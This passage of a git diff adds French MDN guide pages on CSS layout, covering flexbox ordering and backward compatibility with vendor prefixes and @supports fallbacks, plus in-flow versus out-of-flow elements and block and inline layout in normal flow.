+<p>{{EmbedGHLiveSample("css-examples/flexbox/order/usecase-order.html", '100%', 730)}}</p>
+
+<p>Ces légères adaptations sont caractéristiques des cas où la propriété <code>order</code> se révèle pertinente. L'ordre logique doit suivre l'ordre de lecture et de navigation au clavier dans le document. Il doit maintenir la structure de la façon la plus accessible. <code>order</code> peut alors être ensuite utilisé pour opérer des ajustements visuels. Lorsque vous réordonnez des éléments, assurez-vous que cela n'a pas d'impact sur les éléments parmi lesquels on peut naviguer au clavier. De façon générale, lorsque vous utilisez de nouvelles méthodes de disposition, assurez-vous que la phase de test via le navigateur inclut également des tests de navigation au clavier (sans souris ni écran tactile). Vous pourrez alors rapidement constater si vos choix de développement rendent certains contenus difficiles d'accès.</p>
diff --git a/files/fr/web/css/css_flexible_box_layout/rétrocompatibilite_de_flexbox/index.html b/files/fr/web/css/css_flexible_box_layout/rétrocompatibilite_de_flexbox/index.html
new file mode 100644
index 0000000000..b36e1eb0f4
--- /dev/null
+++ b/files/fr/web/css/css_flexible_box_layout/rétrocompatibilite_de_flexbox/index.html
@@ -0,0 +1,121 @@
+---
+title: Rétrocompatibilité de flexbox
+slug: Web/CSS/CSS_Flexible_Box_Layout/Rétrocompatibilite_de_flexbox
+tags:
+  - '@supports'
+  - Boîtes flexibles
+  - CSS
+  - Guide
+  - Intermediate
+  - flexbox
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Les boîtes flexibles (<em>flexbox</em>) sont largement prises en charge parmi les navigateurs modernes. Toutefois, quelques problèmes peuvent survenir. Dans ce guide, nous verrons précisément quelle est la prise en charge des boîtes flexibles dans les navigateurs. Nous verrons les problèmes éventuels ainsi que les ressources et méthodes afin de créer des méthodes de contournement ou des alternatives.</p>
+
+<h2 id="Il_était_une_fois_flexbox…">Il était une fois <em>flexbox</em>…</h2>
+
+<p>Comme toute spécification CSS, la spécification Flexbox a vu de nombreuses modifications avant d'atteindre le statut de <em>Candidate Recommendation</em> dont elle dispose aujourd'hui. Dans cet état actuel, il ne devrait pas y avoir de modification majeur dans la spécification, mais cette stabilité n'a pas toujours existé par le passé.</p>
+
+<p>Les boîtes flexibles ont été implémentées de façon expérimentale dans plusieurs navigateurs. À cette époque, créer une implémentation expérimentale consistait à utiliser un préfixe spécifique. Ces préfixes devaient permettre aux implémentations de la spécification d'être testées et manipulées par les développeurs des navigateurs et par les développeurs web, sans qu'il y ait de conflit avec les autres implémentations. On ne devait pas utiliser d'implémentation expérimentale pour du code de production. Toutefois, les préfixes ont fini par être utilisés en production et les modifications apportées à la spécification expérimentale nécessitaient une réactivité des développeurs web pour maintenir leurs sites.</p>
+
+<p><a href="https://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">En 2009</a>, la spécification était plutôt différente. Pour créer un conteneur flexible, il fallait utiliser <code>display: box</code> et on disposait ensuite de différentes propriétés <code>box-*</code> qui permettaient d'obtenir des résultats semblables à ceux qu'offrent les boîtes flexibles actuelles.</p>
+
+<p>Vint ensuite <a href="https://www.w3.org/TR/2012/WD-css3-flexbox-20120322/">une mise à jour de la spécification</a> pour mettre à jour la syntaxe : <code>display: flexbox</code> — là encore, ces valeurs étaient préfixées.</p>
+
+<p>Enfin, la spécification a été mise à jour pour définir <code>display: flex</code> comme façon de créer un conteneur flexible. La prise en charge des navigateurs sur la version à jour de la spécification est excellent à partir de ce moment.</p>
+
+<p>Quelques anciens articles font référence à d'anciennes versions de la spécification. Ceux-ci sont facilement identifiables en raison des modifications concernant la création d'un conteneur flexible. Si vous lisez des règles telles que <code>display: box</code> ou <code>display: flexbox</code>, vous pouvez en déduire qu'il s'agit d'informations obsolètes.</p>
+
+<h2 id="État_de_la_compatibilité_des_navigateurs">État de la compatibilité des navigateurs</h2>
+
+<p>La prise en charge des navigateurs pour les boîtes flexibles est excellente et la grande partie des navigateurs n'ont pas besoin de préfixe. Safari a été le dernier des principaux navigateurs à retirer les préfixes avec la sortie de Safari 9 en 2015. Les deux navigateurs pour lesquels il est nécessaire de faire attention à la compatibilité sont :</p>
+
+<ul>
+ <li>Internet Explorer 10 qui implémentait la version <code>display: flexbox</code> avec le préfixe <code>-ms-</code>.</li>
+ <li>UC Browser qui prend en charge la version de 2009 avec <code>display: box</code> et avec le préfixe <code>-webkit-</code>.</li>
+</ul>
+
+<p>On notera qu'Internet Explorer 11 prend bien en charge la spécification actuelle avec <code>display: flex</code> mais que de nombreux bugs sont présents dans cette implémentation.</p>
+
+<h2 id="Problèmes_fréquents">Problèmes fréquents</h2>
+
+<p>La plupart des problèmes relatifs aux boîtes flexibles sont liés aux modifications de la spécification lors de son développement et au fait que de nombreux développeurs ont essayé d'utiliser des implémentations expérimentales en production. Si vous souhaitez garantir une rétrocompatibilité avec certaines anciennes versions de navigateurs et notamment IE10 et IE11, le site <a href="https://github.com/philipwalton/flexbugs">Flexbugs</a> représente une ressource précieuse. Vous pourrez voir que de nombreux bugs sont présents pour d'anciennes versions des navigateurs et sont désormais corrigés pour les versions actuelles. Chacun de ces bugs possède une méthode de contournement associée, ce qui peut faire gagner un temps précieux.</p>
+
+<p>Si vous souhaitez inclure de très anciens navigateurs prenant en charge les boîtes flexibles, il vous faudra inclure les préfixes éditeurs dans votre feuille CSS, en plus de la version non-préfixée. Cela devient de moins en moins nécessaire vue l'étendue de la compatibilité actuelle.</p>
+
+<pre class="brush: css">.wrapper {
+  display: -webkit-box;
+  display: -webkit-flex;
+  display: -ms-flexbox;
+  display: flex;
+}</pre>
+
+<p><a href="https://autoprefixer.github.io/">Autoprefixer Online</a> est un outil utile pour déterminer quels préfixes sont recommandés selon les versions des navigateurs qu'on souhaite prendre en charge. Vous pouvez également consulter <a href="https://caniuse.com/#feat=flexbox">Can I Use</a> ou les tableaux de compatibilité en bas des pages de référence MDN pour savoir quand les préfixes ont été retirés des navigateurs.</p>
+
+<h2 id="Techniques_de_recours">Techniques de recours</h2>
+
+<p>La mise en place des boîtes flexibles dans un document est effectuée grâce à la propriété {{cssxref("display")}}. Lorsqu'on souhaite prendre en charge de très anciens navigateurs qui ne prennent pas du tout en charge les boîtes flexibles, des méthodes alternatives peuvent être construites en surchargeant une méthode de disposition par une autre. La spécification définit ce qui se produit si on utilise une autre méthode de disposition sur un élément qui devient ensuite un élément flexible.</p>
+
+<h3 id="Éléments_flottants">Éléments flottants</h3>
+
+<blockquote>
+<p>“<code>float</code> et <code>clear</code> ne créent pas de flottement ou de dégagement pour les éléments flexibles et ne les retirent pas du flux.” - <a href="https://www.w3.org/TR/css-flexbox-1/#flex-containers">3. Conteneurs flexibles</a></p>
+</blockquote>
+
+<p>Dans l'exemple qui suit, on a deux blocs flottants et on applique ensuite <code>display: flex</code> sur le conteneur. Les éléments sont alors des éléments flexibles ce qui signifie qu'ils sont étirés sur des hauteurs égales. Tout comportement associé au flottement n'aura pas lieu.</p>
+
+<p>Pour tester le comportement alternatif, vous pouvez retirer <code>display: flex</code> du conteneur englobant.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/browsers/float.html", '100%', 550)}}</p>
+
+<h3 id="display_inline-block"><code>display: inline-block</code></h3>
+
+<p>Lorsqu'un élément disposé avec <code>inline-block</code> devient un élément flexible, cet élément devient analogue à un bloc et le comportement de <code>display: inline-block</code> qui permet de conserver les espaces blancs entre les éléments ne s'applique plus.</p>
+
+<p>Vous pouvez retirer la règle avec <code>display: flex</code> dans l'exemple qui suit pour voir le comportement alternatif. Vous verrez de l'espace ajouté entre les éléments car c'est ce que préfère <code>display: inline-block</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/browsers/inline-block.html", '100%', 550)}}</p>
+
+<h3 id="display_table-"><code>display: table-</code><em> </em></h3>
+
+<p>Les propriétés CSS relatives aux dispositions en tableaux s'avèrent potentiellement très utiles comme méthode de recours car elles permettent d'obtenir des organisations de contenu analogues avec des colonnes sur toute la hauteur, du centrage vertical et car elles fonctionnent jusqu'à Internet Explorer 8.</p>
+
+<p>Si vous utilisez <code>display: table-cell</code> sur un élément HTML, cet élément récupèrera la mise en forme d'une cellule de tableau HTML. Pour celles-ci, CSS crée des boîtes anonymes qui représentent ces éléments et il n'est pas nécessaire d'envelopper chaque élément dans un conteneur pour représenter une ligne puis dans un second qui représente le tableau. Il n'est pas possible de mettre en forme ces boîtes anonymes, celles-ci servent uniquement à corriger la structure.</p>
+
+<p>Si vous déclarez ensuite <code>display: flex</code> sur l'élément parent, ces boîtes anonymes ne sont pas créées et l'élément redevient un enfant direct qui peut devenir un élément flexible, perdant tout aspect relatif au tableau.</p>
+
+<blockquote>
+<p>“Note : certaines valeurs de <code>display</code> déclenchent normalement la création de boîtes anonymes autour de la boîte originale. Si une telle boîte est un élément flexible, cet élément devient un bloc puis la création des boîtes anonymes n'a pas lieu. Ainsi, deux éléments flexibles adjacents avec <code>display: table-cell</code> deviendront deux éléments flexibles distincts avec <code>display: block</code> plutôt que d'être enveloppés au sein d'un même tableau anonyme.” - <a href="https://www.w3.org/TR/css-flexbox-1/#flex-items">4. Éléments flexibles</a></p>
+</blockquote>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/browsers/table-cell.html", '100%', 550)}}</p>
+
+<h3 id="La_propriété_vertical-align">La propriété <code>vertical-align</code></h3>
+
+<p>L'exemple qui suit illustre l'utilisation de la propriété {{cssxref("vertical-align")}} associée au mode <code>display: inline-block</code>. Les deux modes <code>display: table-cell</code> et <code>display: inline-block</code> permettent d'utiliser cette propriété. La propriété <code>vertical-align</code> permet d'opérer un alignement vertical avant l'application des boîtes flexibles. Cette propriété est ignorée avec les boîtes flexibles et elle peut donc être utilisée avec <code>display: table-cell</code> ou <code>display: inline-block</code> comme méthode d'alignement alternative aux propriétés d'alignement des boîtes flexibles.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/browsers/vertical-align.html", '100%', 550)}}</p>
+
+<h2 id="Requêtes_de_fonctionnalités_et_flexbox">Requêtes de fonctionnalités et <em>flexbox</em></h2>
+
+<p>Il est possible d'utiliser <a href="/fr/docs/Web/CSS/%40supports">les requêtes de fonctionnalité (<em>feature queries</em>)</a> afin de détecter la prise en charge des boîtes flexibles :</p>
+
+<pre class="brush: css">@supports (display: flex) {
+  // code utilisé pour les navigateurs qui
+  // prennent en charge cette fonctionnalité
+}</pre>
+
+<p>On notera qu'Internet Explorer 11 ne prend pas en charge les requêtes de fonctionnalité mais prend bien en charge les boîtes flexibles. Si vous choisissez de considérer l'implémentation d'IE11 comme étant trop erronée et que vous souhaitez que ce navigateur utilise votre code de recours, vous pouvez alors utiliser les requêtes de fonctionnalité pour ne servir le code <em>flexbox</em> qu'aux navigateurs qui disposent d'une prise en charge suffisante. Pour rappel, si on souhaite inclure les versions des navigateurs qui utilisaient des préfixes spécifiques, on devra inclure la version préfixée dans la requête de fonctionnalité. La requête suivant inclura par exemple UC Browser qui prend en charge les requêtes de fonctionnalités et une ancienne syntaxe, préfixée, pour les boîtes flexibles :</p>
+
+<pre class="brush: css">@supports (display: flex) or (display: -webkit-box) {
+  // code pour les navigateurs qui
+  // prennent en charge cette fonctionnalité
+}</pre>
+
+<p>Pour plus d'informations sur les requêtes de fonctionnalités, vous pouvez lire <em><a href="https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/">Using Feature Queries in CSS</a></em><a href="https://hacks.mozilla.org/2016/08/using-feature-queries-in-css/"> (en anglais)</a> sur le blog Hacks de Mozilla.</p>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Bien que nous ayons vu ici certains problèmes potentiels et méthodes alternatives, les boîtes flexibles peuvent tout à fait être utilisées en production et de façon généralisée. Ce guide vous sera utile si vous rencontrez un problème particulier ou qu'il vous faut prendre en charge de plus vieux navigateurs.</p>
diff --git a/files/fr/web/css/css_flow_layout/dans_le_flux_ou_en_dehors/index.html b/files/fr/web/css/css_flow_layout/dans_le_flux_ou_en_dehors/index.html
new file mode 100644
index 0000000000..663f0a9c8a
--- /dev/null
+++ b/files/fr/web/css/css_flow_layout/dans_le_flux_ou_en_dehors/index.html
@@ -0,0 +1,68 @@
+---
+title: Être ou ne pas être dans le flux
+slug: Web/CSS/CSS_Flow_Layout/Dans_le_flux_ou_en_dehors
+tags:
+  - CSS
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Dans <a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Disposition_de_bloc_en_ligne_avec_flux_normal">le précédent guide</a>, nous avons vu le fonctionnement de la disposition en ligne et en bloc dans le flux normal. Tous les éléments qui sont « dans » le flux seront disposés grâce à cette méthode.</p>
+
+<p>Dans l'exemple qui suit, on a un titre, un paragraphe, une liste puis un paragraphe final qui contient un élément <code>strong</code>. Le titre et les paragraphes sont des éléments de blocs et l'élément <code>strong</code> est un élément en ligne. La liste est affichée en utilisant les boîtes flexibles afin d'avoir les éléments de la liste sur une même ligne mais cette liste contribue bien à la disposition en ligne et en bloc car le conteneur a un type <code>display</code> externe qui vaut <code>block</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/in-flow/in-flow.html", '100%', 800)}}</p>
+
+<p>Dans ce cas, on peut dire que tous les éléments sont « dans le flux » et ils apparaissent sur la page selon le même ordre que le document source.</p>
+
+<h2 id="Retirer_un_élément_du_flux">Retirer un élément du flux</h2>
+
+<p>Tous les éléments d'un document sont dans le flux à l'exception :</p>
+
+<ul>
+ <li>des éléments flottants</li>
+ <li>des éléments avec <code>position: absolute</code> ou avec <code>position: fixed</code></li>
+ <li>de l'élément racine (<code>html</code>)</li>
+</ul>
+
+<p>Les éléments qui ne sont pas dans le flux créent un nouveau contexte de formatage de bloc (ou <em>Block Formatting Context</em> (BFC) en anglais) et tout ce qui est dans ce contexte peut être vu comme une disposition imbriquée, séparée et indépendante du reste de la page. L'élément racine est ainsi en dehors du flux car c'est le conteneur qui contient l'intégralité du document et qui fournit le contexte de formatage de bloc pour l'ensemble du document.</p>
+
+<h3 id="Les_éléments_flottants">Les éléments flottants</h3>
+
+<p>Dans cet exemple, on a un élément <code>div</code> puis deux paragraphes. On a ajouté une couleur d'arrière-plan sur les paragraphes puis on a appliqué un flottement à gauche pour l'élément <code>div</code>. L'élément <code>div</code> est désormais en dehors du flux.</p>
+
+<p>Un élément flottant est d'abord disposé à l'endroit où il aurait été dans le flux normal puis il est retiré du flux et déplacé. Ici, il est déplacé le plus à gauche possible.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/in-flow/float.html", '100%', 800)}}</p>
+
+<p>On peut voir que la couleur du paragraphe suivant s'étend en dessous. Seules les boîtes de ligne du paragraphe ont été raccourcies et causent le passage à la ligne du contenu autour de l'élément flottant. La boîte du paragraphe s'affiche toujours selon les règles du flux normal. C'est pour cela qu''il faut ajouter une marge autour de l'élément flottant si on veut créer un espace autour. Avec une marge, on repoussera les boîtes de lignes adjacentes. Il n'est pas possible d'appliquer quoi que ce soit au contenu dans le flux pour obtenir le même effet.</p>
+
+<h3 id="Le_positionnement_absolu">Le positionnement absolu</h3>
+
+<p>En utilisant <code>position: absolute</code> ou <code>position: fixed</code> sur un élément, celui-ci est retiré du flux et tout l'espace qu'il aurait occupé est retiré. Dans l'exemple ci-après, on a trois paragraphes et le deuxième est ciblé avec <code>position</code> <code>absolute</code> et décalé avec les valeurs <code>top: 30px</code> et <code>right: 30px</code>. Cet élément est retiré du flux du document.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/in-flow/abspos.html", '100%', 700)}}</p>
+
+<p>Utiliser <code>position: fixed</code> retire également un objet de flux. Dans ce cas, les décalages seront calculés relativement à la zone d'affichage (<em>viewport</em>) plutôt que par rapport au bloc englobant.</p>
+
+<p>Lorsqu'on retire un élément du flux grâce au positionnement, il faut également gérer les cas où le contenu peut se superposer. Lorsqu'un élément est en dehors du flux, les autres éléments ne « sauront » plus qu'il est là et ne seront pas déplacés pour lui laisser la place.</p>
+
+<h3 id="Le_positionnement_relatif_et_le_flux">Le positionnement relatif et le flux</h3>
+
+<p>Si on fournit un positionnement relatif en appliquant <code>position: relative</code> à un élément, celui-ci reste dans le flux mais on peut alors utiliser des décalages pour le déplacer. Toutefois, l'espace initialement occupé par l'élément est toujours réservé, comme on peut le voir dans l'exemple qui suit.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/in-flow/relative.html", '100%', 800)}}</p>
+
+<p>Dès qu'on retire ou qu'on décale un élément de son emplacement dans le flux normal, il faut s'attendre à devoir gérer le contenu environnant pour éviter les chevauchements. On pourra par exemple utiliser les flottements ou s'assurer que l'élément utilisant <code>position: absolute</code> n'est pas sur un autre contenu. C'est pour ces raisons que les méthodes qui retirent les éléments du flux doivent être utilisées avec circonspection.</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Dans ce guide, nous avons vu les différentes façons qui permettent de retirer un élément du flux afin d'obtenir certains positionnements spécifiques. Dans le prochain guide, nous verrons un concept similaire, celui de <a href="/fr/docs/Web/CSS/Block_formatting_context">contexte de formatage de bloc</a> dans <a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Explications_contextes_formatage">Explications relatives aux contextes de formatage</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Le_positionnement">En apprendre plus sur le positionnement</a></li>
+</ul>
diff --git a/files/fr/web/css/css_flow_layout/disposition_de_bloc_en_ligne_avec_flux_normal/index.html b/files/fr/web/css/css_flow_layout/disposition_de_bloc_en_ligne_avec_flux_normal/index.html
new file mode 100644
index 0000000000..8566b8accd
--- /dev/null
+++ b/files/fr/web/css/css_flow_layout/disposition_de_bloc_en_ligne_avec_flux_normal/index.html
@@ -0,0 +1,128 @@
+---
+title: Disposition de bloc et en ligne avec le flux normal
+slug: Web/CSS/CSS_Flow_Layout/Disposition_de_bloc_en_ligne_avec_flux_normal
+tags:
+  - CSS
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Dans ce guide, nous verrons le comportement des éléments de bloc et des éléments en ligne lorsqu'ils sont placés dans le flux normal.</p>
+
+<p>Le flux normal est défini par <a href="https://www.w3.org/TR/CSS2/visuren.html#normal-flow">la spécification CSS 2.1</a> qui explique comment les boîtes du flux normal s'inscrivent dans le contexte de formatage. Les boîtes peuvent être de bloc (<em>block</em>) ou en ligne (<em>inline</em>) mais pas les deux à la fois. Les boîtes de bloc contribuent au contexte de formatage des blocs et les boîtes en ligne contribuent au contexte de formatage en ligne.</p>
+
+<p>Le comportement des éléments qui ont un contexte de formatage de bloc ou en ligne est également défini dans cette spécification. Pour les éléments avec un contexte de formatage de bloc, voici ce qui est indiqué dans la spécification :</p>
+
+<blockquote>
+<p>« Dans un contexte de formatage de bloc, les boîtes sont disposées l'une après l'autre, verticalement, en démarrant en haut du bloc englobant. La distance verticale entre deux boîtes voisines est déterminée par les propriétés relatives aux marges. Les marges verticales fusionnent pour deux boîtes de bloc voisines au sein d'un contexte de formatage de bloc.<br>
+ <br>
+ Dans un contexte de formatage de bloc, chaque bord gauche de chaque boîte touche le bord gauche du bloc englobant (pour les documents écrits de droite à gauche, ce sont les bords droits qui coïncident). » - 9.4.1</p>
+</blockquote>
+
+<p>Quant aux éléments du contexte de formatage en ligne :</p>
+
+<blockquote>
+<p>« Dans un contexte de formatage en ligne, les boîtes sont disposées horizontalement les unes après les autres, en démarrant en haut du bloc englobant. Les marges, bordures, espaces de remplissage (<em>padding</em>) entre ces boîtes sont respectées. L'alignement vertical des boîtes peut varier (alignement du bas et du haut ou alignement des lignes de base du texte). La zone rectangulaire contenant les boîtes qui forment une ligne est appelée une "boîte de ligne". » - 9.4.2</p>
+</blockquote>
+
+<p>On notera que la spécification CSS 2.1 décrit des documents dont le mode d'écriture est horizontal, allant de haut en bas. C'est notamment le cas avec la description de la distance verticale entre les boîtes de bloc. Le comportement des éléments de bloc et en ligne est donc le même lorsqu'on a un mode d'écriture vertical. Nous verrons cela dans un article suivant.</p>
+
+<h2 id="Les_éléments_qui_participent_à_un_contexte_de_formatage_de_bloc">Les éléments qui participent à un contexte de formatage de bloc</h2>
+
+<p>Les éléments de bloc organisés avec un mode d'écriture horizontal (un document en français par exemple) sont disposés verticalement les uns au dessus des autres.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16125/mdn-horizontal.png" style="height: 382px; width: 521px;"></p>
+
+<p>Avec un mode d'écriture vertical, les boîtes seraient organisées horizontalement.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16126/mdn-vertical.png" style="height: 382px; width: 418px;"></p>
+
+<p>Dans la suite de ce guide, nous prendrons l'hypothèse d'un mode d'écriture horizontal. Toutefois, tout ce qui est décrit fonctionne de la même façon pour un mode d'écriture vertical.</p>
+
+<p>Comme indiqué dans la spécification, les marges entre deux boîtes de bloc permettent de créer une séparation entre les éléments. On peut voir ceci dans un exemple simple avec deux paragraphes auxquels on ajoute une bordure. La feuille de style par défaut du navigateur ajoute un espace entre les paragraphes en ajoutant une marge en haut et en bas.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow.html", '100%', 700)}}</p>
+
+<p>Si on définit explicitement des marges nulles sur les paragraphes, les bordures se toucheront.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-margin-zero.html", '100%', 700)}}</p>
+
+<p>Par défaut, les éléments de bloc consomment tout l'espace disponible sur l'axe en ligne. Ainsi, les paragraphes « s'étalent » horizontalement autant qu'ils le peuvent au sein du bloc englobant. Si on fixait leur longueur afin que deux paragraphes puissent tenir horizontalement, ils seraient tout de même l'un au dessus de l'autre. Chaque boîte de bloc commencera au début de l'axe de bloc du bloc englobant.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-width.html", '100%', 700)}}</p>
+
+<h3 id="La_fusion_des_marges">La fusion des marges</h3>
+
+<p>La spécification indique que les marges verticales entre chaque éléments de bloc <em>fusionnent</em>. Cela signifie que si un élément avec une marge en haut suit directement un élément avec une marge en bas, plutôt que la marge résultante soit la somme des deux marges, on aura une fusion des marges et ce sera uniquement la plus grande des marges qui sera appliquée.</p>
+
+<p>Dans l'exemple suivant, les paragraphes ont une marge en haut qui mesure 20 pixels et une marge en bas qui mesure 40 pixels. La taille de la marge entre les deux paragraphes est donc de <code>40px</code> car la plus petite est « fusionnée » avec la plus grande.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/normal-flow-collapsing.html", '100%', 500)}}</p>
+
+<p>Pour en savoir plus à propos de la fusion des marges, vous pouvez lire <a href="/fr/docs/Web/CSS/Modèle_de_boîte_CSS/Fusion_des_marges">l'article dédié à la fusion des marges</a>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Si vous n'êtes pas certain⋅e que la fusion des marges a lieu, vous pouvez utiliser les outils de développement de votre navigateur afin de voir la valeur réellement utilisée pour les marges.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16124/box-model.png" style="height: 848px; width: 828px;"></p>
+</div>
+
+<h2 id="Les_éléments_qui_participent_à_un_contexte_de_formatage_en_ligne">Les éléments qui participent à un contexte de formatage en ligne</h2>
+
+<p>Les éléments en ligne sont affichés les uns à la suite des autres selon la direction avec laquelle les phrases sont écrites pour ce mode d'écriture. Ces boîtes en ligne se suivent les unes après les autres. S'il n'y a pas suffisamment d'espace dans la boîte englobante, une boîte en ligne pourra être scindée pour passer à la ligne. Les lignes ainsi créées sont appelées des boîtes de ligne. Comme la plupart des objets en CSS, les éléments en ligne disposent bien d'une boîte (qu'on oublie parfois).</p>
+
+<p>Dans l'exemple suivant on a trois boîtes en ligne créées par un paragraphe avec un élément {{HTMLElement("strong")}} à l'intérieur.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/inline.html", '100%', 500)}}</p>
+
+<p>Les boîtes autour des mots, avant et après l'élément {{HTMLElement("&lt;strong&gt;")}} sont qualifiées de boîtes <em>anonymes</em>. Ce sont des boîtes qui permettent que tout soit contenu dans une boîte mais on ne peut pas cibler ces boîtes spécifiquement.</p>
+
+<p>La taille de la boîte de la ligne sur l'axe orthogonal à l'axe de lecture est définie avec la taille de la plus grande boîte qu'elle contient. Dans l'exemple suivant, on a un élément {{HTMLElement("&lt;strong&gt;")}} qui a une taille de 300% et c'est donc son contenu qui détermine la hauteur de la boîte de ligne pour cette ligne.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/line-box.html", '100%', 500)}}</p>
+
+<p>Pour en savoir plus sur le comportement des boîtes en ligne et des boîtes de bloc, vous pouvez consulter <a href="/fr/docs/Web/CSS/Modèle_de_mise_en_forme_visuelle">le guide sur le modèle de formatage visuel</a>.</p>
+
+<h2 id="La_propriété_display_et_la_disposition_de_flux">La propriété <code>display</code> et la disposition de flux</h2>
+
+<p>En plus des règles existantes en CSS 2.1, les spécifications CSS ultérieures décrivent plus en détail le comportement des boîtes en ligne et des boîtes en bloc. La propriété <code>display</code> définit la façon dont une boîte, et celles qu'elle contient, se comporte. Avec la spécification <em>CSS Display Model Level 3</em>, on en apprend plus sur la façon dont la propriété <code>display</code> modifie comportement des boîtes et des boîtes qu'elles génèrent.</p>
+
+<p>Le type d'affichage d'un élément définit deux choses :</p>
+
+<ul>
+ <li>le type d'affichage extérieur, qui décrit comment la boîte s'affiche au sein des éléments du même contexte de formatage</li>
+ <li>le type d'affichage intérieur comment les boîtes situées à l'intérieur de cet élément doivent se comporter</li>
+</ul>
+
+<p>Dans l'exemple suivant, on a un élément {{HTMLElement("div")}} sur lequel on a appliqué <code>display: flex</code>. Le conteneur flexible se comporte comme un élément de bloc : il s'affiche sur une nouvelle ligne et occupe tout l'espace du bloc englobant dans l'axe en ligne. Aussi, le type d'affichage extérieur vaut <code>block</code>.</p>
+
+<p>Les objets flexibles, à l'intérieur, contribuent à un contexte de formatage flexible car leur élément parent a <code>display: flex</code>. Aussi, le type d'affichage intérieur vaut <code>flex</code> et un nouveau contexte de formatage flexible est mis en place pour les éléments enfants.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/flex.html", '100%', 500)}}</p>
+
+<p>On peut envisager chaque boîte CSS sous cet angle. La boîte possède un type d'affichage extérieur et sait ainsi comment se comporter avec les boîtes qui l'entourent. Ensuite, la boîte possède un type d'affichage intérieur qui permet d'organiser les éléments qu'elle contient. Ces éléments, à leur tour, disposent d'un type d'affichage extérieur et d'un type d'affichage intérieur. Dans l'exemple précédent, les objets flexibles ont des boîtes flexibles. Le type d'affichage extérieur est dicté par le contexte de formatage flexible. En revanche, leur type d'affichage intérieur est <code>flow</code> et leurs éléments enfants participeront à un flux normal. Les éléments enfants s'organiseront comme des éléments en ligne ou de bloc sauf si leur type d'affichage est explicitement modifié.</p>
+
+<p>Le concept de type d'affichage extérieur et intérieur est important car il nous indique qu'un conteneur utilisant Flexbox (<code>display: flex</code>) ou les grilles CSS (<code>display: grid</code>) continue de participer à une disposition bloc/en ligne du fait du type d'affichage extérieur qui est <code>block</code>.</p>
+
+<h3 id="Modifier_le_contexte_de_formatage_auquel_un_élément_participe">Modifier le contexte de formatage auquel un élément participe</h3>
+
+<p>Les navigateurs affichent les éléments en bloc ou ligne selon ce qui est pertinent pour chaque élément. Ainsi, l'élément {{HTMLElement("strong")}}, utilisé pour mettre en avant un mot (souvent alors affiché en gras), ne crée pas de nouvelle ligne pour afficher son contenu : ce n'est pas un élément de bloc mais un élément en ligne.</p>
+
+<p>Si on souhaitait afficher tous les éléments {{HTMLElement("strong")}} comme des éléments de bloc, il suffirait d'ajouter la règle <code>display: block</code> en ciblant les éléments <code>&lt;strong&gt;</code>. Cela signifie qu'on peut toujours écrire un code HTML qui soit le plus sémantique possible pour le contenu puis modifier la façon dont le document est affiché grâce à CSS.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/block-inline/change-formatting.html", '100%', 500)}}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Dans ce guide, nous avons vu comment les éléments étaient affichés dans le flux normal, comme éléments de bloc ou comme éléments en ligne. Les éléments HTML s'afficheront par défaut de façon lisible sans CSS. En comprenant comment fonctionne le flux normal, vous comprendrez comment apporter les modifications nécessaires pour parvenir à la disposition désirée.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Modèle_de_boîte_CSS">Le module de spécification <em>CSS Basic Box Model</em> qui définit les propriétés de base pour le modèle de boîte</a></li>
+ <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Normal_Flow">Apprendre - le fonctionnement du flux normal</a></li>
+ <li><a href="/fr/docs/Web/HTML/Éléments_en_ligne">Les éléments HTML en ligne</a></li>
+ <li><a href="/fr/docs/Web/HTML/Éléments_en_bloc">Les éléments HTML de bloc</a></li>
+</ul>
diff --git a/files/fr/web/css/css_flow_layout/disposition_flux_et_dépassement/index.html b/files/fr/web/css/css_flow_layout/disposition_flux_et_dépassement/index.html
new file mode 100644
index 0000000000..703af33bee
--- /dev/null
+++ b/files/fr/web/css/css_flow_layout/disposition_flux_et_dépassement/index.html
@@ -0,0 +1,70 @@
+---
+title: La disposition en flux et le dépassement
+slug: Web/CSS/CSS_Flow_Layout/Disposition_flux_et_dépassement
+tags:
+  - CSS
+  - Guide
+  - Intermédiaire
+translation_of: Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow
+---
